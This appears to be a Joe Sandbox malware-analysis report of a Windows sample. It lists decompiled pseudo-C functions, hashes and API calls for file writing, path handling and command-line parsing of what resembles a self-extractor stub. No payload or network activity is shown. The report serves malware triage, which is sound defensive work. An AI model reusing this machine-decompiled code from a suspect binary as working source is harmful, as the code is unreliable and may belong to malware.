Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0dcb80d992d95a2620c2b7294e06398d255e4c9750ca5dd4a22c18b63f7f2e36
Instruction ID: be76f4426a897a00eda821396cde303898b9700c3627c5fb99fd3c6da4c5e826
Opcode Fuzzy Hash: 0dcb80d992d95a2620c2b7294e06398d255e4c9750ca5dd4a22c18b63f7f2e36
Instruction Fuzzy Hash: 0C018BA3E125302BF326402AAC88FB7460CCB96771F1B0332BDEAE72C1D2744C0091E0

Uniqueness

Uniqueness Score: -1.00%

Function 003D4AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E003D4AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x3d858c; // 0x270
				_t9 = E003D3680(_t20);
				if( *0x3d91d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x3d8d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x3d9400; // 0x8fc00
							_t15 = _t14 + _t25;
							 *0x3d9400 = _t15;
							if( *0x3d8184 != 0) {
								_t21 =  *0x3d8584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x3d93f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x003d4ad5
0x003d4adb
0x003d4ae7
0x003d4aee
0x003d4b05
0x003d4b0d
0x003d4b14
0x003d4b1a
0x003d4b1c
0x003d4b21
0x003d4b2a
0x003d4b2f
0x003d4b31
0x003d4b39
0x003d4b54
0x003d4b54
0x003d4b39
0x003d4b2f
0x003d4b0f
0x003d4b0f
0x003d4b0f
0x003d4b5e
0x003d4ae9
0x003d4aed
0x003d4aed

APIs

Part of subcall function 003D3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 003D369F
Part of subcall function 003D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003D36B2
Part of subcall function 003D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003D36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 003D4B05

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 9b16797a01057913350c1c620db1d2c6d1b2f63cbcb948b5d5f8a7864a9113db
Instruction ID: c4f08dc06aa5343826d9e4a52a9313d530d39ad32da5c9639c4591d79d61aeab
Opcode Fuzzy Hash: 9b16797a01057913350c1c620db1d2c6d1b2f63cbcb948b5d5f8a7864a9113db
Instruction Fuzzy Hash: 04018C32201205ABDB168F69FC05BA2776DEB58725F058227F9799B2E0CB70D812CB80

Uniqueness

Uniqueness Score: -1.00%

Function 003D658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x3d8b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x3d8b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E003D16B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x003d6592
0x003d6594
0x003d6596
0x003d6598
0x003d6598
0x003d659b
0x003d659b
0x003d659d
0x003d659e
0x003d65a2
0x003d65a4
0x003d65a9
0x003d65b2
0x003d65b6
0x003d65ba
0x003d65c3
0x003d65c5
0x003d65c8
0x003d65c8
0x003d65c3
0x003d65c9
0x003d65cc
0x003d65d2
0x003d65d1
0x003d65d1
0x00000000
0x003d65dc
0x00000000

APIs

CharPrevA.USER32(003D8B3E,003D8B3F,00000001,003D8B3E,-00000003,?,003D60EC,003D1140,?), ref: 003D65BA

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 04e4832a8e232ed6d0bbc5f82ddca92ae4a22c43c8770e2a95e789a49653ab5f
Instruction ID: 90ba5180af8833dfdc08a3bd6369330b56b55a4a0bdc9a7d2ab860f2fe3410d5
Opcode Fuzzy Hash: 04e4832a8e232ed6d0bbc5f82ddca92ae4a22c43c8770e2a95e789a49653ab5f
Instruction Fuzzy Hash: 3BF028331042509BD733491DB884B66BFDF9B97350F2A016FF8FA8330ACA658C8586A4

Uniqueness

Uniqueness Score: -1.00%

Function 003D621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E003D621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E003D597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E003D44B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x3d9124 = E003D6285();
					_t9 = 0;
				}
				return E003D6CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x003d6229
0x003d6230
0x003d6247
0x003d626a
0x003d6272
0x003d6249
0x003d6255
0x003d625f
0x003d6264
0x003d6264
0x003d6284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003D623F

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Part of subcall function 003D6285: GetLastError.KERNEL32(003D5BBC), ref: 003D6285

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 3ec6c85390a745a0bbedef81e918d710d9cadbf8a598d3168d41ab345cb202bd
Instruction ID: 0fd755e52d7d369c437c95073b4ef6706002753a74c7f842b0a3ba68284d60ef
Opcode Fuzzy Hash: 3ec6c85390a745a0bbedef81e918d710d9cadbf8a598d3168d41ab345cb202bd
Instruction Fuzzy Hash: 84F0BEB2604208ABE752EB74ED03FBE33BCDB44300F40046BA996DA282EE7499848650

Uniqueness

Uniqueness Score: -1.00%

Function 003D4B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D4B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x3d8d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x3d8d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x3d8d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x3d8d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x3d8d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x3d8d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x3d8d6c)) = 0;
				return 0;
			}

0x003d4b66
0x003d4b74
0x003d4b98
0x003d4ba0
0x00000000
0x003d4bac
0x003d4ba4
0x00000000
0x003d4ba4
0x003d4b78
0x003d4b7e
0x003d4b84
0x003d4b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,003D4FA1,00000000), ref: 003D4B98

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 4c14e83be25305aa0c8b33ffb0ff03ddc6876ba3442d7c458bd102297cccb83a
Instruction ID: 60bb84a32a40591b4c3112fb7b9ed42d9d4ec6607a5f884e8d712a60d2f21561
Opcode Fuzzy Hash: 4c14e83be25305aa0c8b33ffb0ff03ddc6876ba3442d7c458bd102297cccb83a
Instruction Fuzzy Hash: 34F0F471500B0C9F47639F39BC12652BFEABAA5360310092BA4AED25D0DB70B442CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003D66AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D66AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x003d66b1
0x003d66ba
0x003d66c7
0x003d66bc
0x003d66be
0x003d66be

APIs

GetFileAttributesA.KERNELBASE(?,003D4777,?,003D4E38,?), ref: 003D66B1

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 306d80e325fc231b87cd260c498dd763bb6facc83144a13d77394891b6bb9dc2
Instruction ID: 49f0daff61a9995337389d76f00ad4776447af2f7ee656d0006b76562ae27f4c
Opcode Fuzzy Hash: 306d80e325fc231b87cd260c498dd763bb6facc83144a13d77394891b6bb9dc2
Instruction Fuzzy Hash: 3DB09277222840426A2206357C2A5562945A6C133ABE55B96F032C02E0CA3EC846D004

Uniqueness

Uniqueness Score: -1.00%

Function 003D4CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D4CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x003d4caa
0x003d4cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 003D4CAA

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6115b82822c6f913ceed47e977ac936fdf5c677cc8ed9ae28ab2781ea9e01152
Instruction ID: 5e4d370b5ca5f92440d62b6049519aaad177e33c16f9a04b13d703bbb6b76bd8
Opcode Fuzzy Hash: 6115b82822c6f913ceed47e977ac936fdf5c677cc8ed9ae28ab2781ea9e01152
Instruction Fuzzy Hash: DFB0123204420CB7CF012FD2FC09F853F1DEBC4761F144001F60C45050CA7294108696

Uniqueness

Uniqueness Score: -1.00%

Function 003D4CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D4CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x003d4cc8
0x003d4ccf

APIs

GlobalFree.KERNEL32 ref: 003D4CC8

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: b0e71f397b961cea7ae9939d8d1496909a183a6cb5c95c9545e5339080feeb36
Instruction ID: 9999325ce882df45bdc908bde2e55085ffe00a262c70e22a97c799cff34cdf38
Opcode Fuzzy Hash: b0e71f397b961cea7ae9939d8d1496909a183a6cb5c95c9545e5339080feeb36
Instruction Fuzzy Hash: A8B0123100010CB78F012B52FD088453F1DD6C4360B000011F50C41021CB3398118585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003D5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E003D5C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E003D6CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E003D6E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x3d8004; // 0xf4fc83b5
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E003D597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E003D44B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x3d9124 = E003D6285();
									_t75 = 0;
								}
								return E003D6CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E003D44B9(0, 0x521, 0x3d1140, 0, 0x40, 0);
												_t85 =  *0x3d8588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E003D667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E003D667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E003D5C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E003D1680(0x3d8c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E003D667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E003D667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x3d8a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E003D5C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x3d8b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x3d8a3a;
																}
																E003D1680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E003D658A(_t218, 0x104, 0x3d1140);
																if(E003D31E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x3d8a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x3d8a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x3d8a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x3d8a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x3d8a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x3d9a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x3d9a2c =  *0x3d9a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x3d8d48 =  *0x3d8d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x3d9a2c =  *0x3d9a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x3d9a2c =  *0x3d9a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x3d8d48 =  *0x3d8d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x3d9a2c =  *0x3d9a2c | 0x00000004;
																										L70:
																										 *0x3d8a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x3d9a2c = 3;
																	 *0x3d8a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x3d8a2c != 0 &&  *0x3d8b3e == 0) {
						if(GetModuleFileNameA( *0x3d9a3c, 0x3d8b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E003D66C8(0x3d8b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x003d5c9e
0x003d5ca9
0x003d5cb0
0x003d5cb3
0x003d5cb6
0x003d5cb7
0x003d5cb8
0x003d5cbd
0x003d6204
0x003d5ccb
0x00000000
0x003d5ccb
0x003d5cd3
0x003d5cd7
0x003d5cf4
0x00000000
0x003d5cf4
0x003d5cf8
0x003d5d00
0x00000000
0x003d5d06
0x003d5d06
0x003d5d0e
0x003d5d10
0x003d5d12
0x003d5d14
0x003d5d15
0x003d5d17
0x003d5d49
0x00000000
0x00000000
0x00000000
0x00000000
0x003d5d19
0x003d5d19
0x003d5d1d
0x00000000
0x003d5d3f
0x003d5d3f
0x003d5d4b
0x003d5d4b
0x003d5d4f
0x003d5d8d
0x00000000
0x003d5d93
0x003d5d93
0x003d5d9a
0x003d5d9d
0x003d5d9e
0x00000000
0x003d5d9e
0x003d5d51
0x003d5d5b
0x003d5d72
0x003d60fb
0x003d60fb
0x003d6207
0x003d620a
0x003d620b
0x003d620e
0x003d6217
0x003d5d78
0x003d5d78
0x003d5d80
0x003d5d83
0x003d5d84
0x00000000
0x003d5d84
0x003d5d5d
0x003d5d5f
0x003d5d62
0x003d5d68
0x003d5d64
0x003d5d64
0x003d5d64
0x00000000
0x003d5d62
0x003d5d5b
0x003d5d4f
0x003d5d1d
0x00000000
0x003d5d9f
0x003d5d9f
0x003d5da5
0x003d5dab
0x003d5dba
0x003d6218
0x003d621d
0x003d6220
0x003d6221
0x003d6229
0x003d6230
0x003d6247
0x003d626a
0x003d6272
0x003d6249
0x003d6255
0x003d625f
0x003d6264
0x003d6264
0x003d6284
0x003d5dc0
0x003d5dc0
0x003d5dca
0x003d5e22
0x00000000
0x00000000
0x00000000
0x00000000
0x003d5dcc
0x003d5dce
0x003d5e24
0x003d5e24
0x003d5e2c
0x003d5e47
0x003d5e4a
0x003d61d2
0x003d61e2
0x003d61e7
0x003d61ee
0x003d61f1
0x003d61f1
0x003d61f8
0x003d61f8
0x003d5e50
0x003d5e53
0x003d6109
0x003d611f
0x00000000
0x003d6125
0x003d6137
0x003d613a
0x003d613c
0x003d613e
0x003d613e
0x003d6141
0x003d6141
0x003d6143
0x003d6144
0x003d614a
0x00000000
0x003d6150
0x003d6152
0x003d615c
0x003d6170
0x003d6172
0x003d617c
0x003d6190
0x003d6190
0x003d6196
0x003d61a5
0x00000000
0x003d61ab
0x003d61b9
0x003d61c6
0x003d61c6
0x003d617e
0x003d6180
0x003d618a
0x00000000
0x00000000
0x00000000
0x00000000
0x003d618a
0x003d615e
0x003d6160
0x003d616a
0x00000000
0x00000000
0x00000000
0x00000000
0x003d616a
0x003d615c
0x003d614a
0x003d610b
0x003d610e
0x003d610e
0x00000000
0x003d5e59
0x003d5e59
0x003d5e5c
0x003d604f
0x003d6056
0x00000000
0x003d605c
0x003d606e
0x003d6071
0x003d6073
0x003d6075
0x003d6075
0x003d6078
0x003d6078
0x003d607a
0x003d607b
0x003d6081
0x00000000
0x003d6087
0x003d6087
0x003d608d
0x003d609c
0x00000000
0x003d60a2
0x003d60aa
0x003d60b2
0x003d60b7
0x003d60bd
0x003d60bf
0x003d60bf
0x003d60d6
0x003d60e0
0x003d60e7
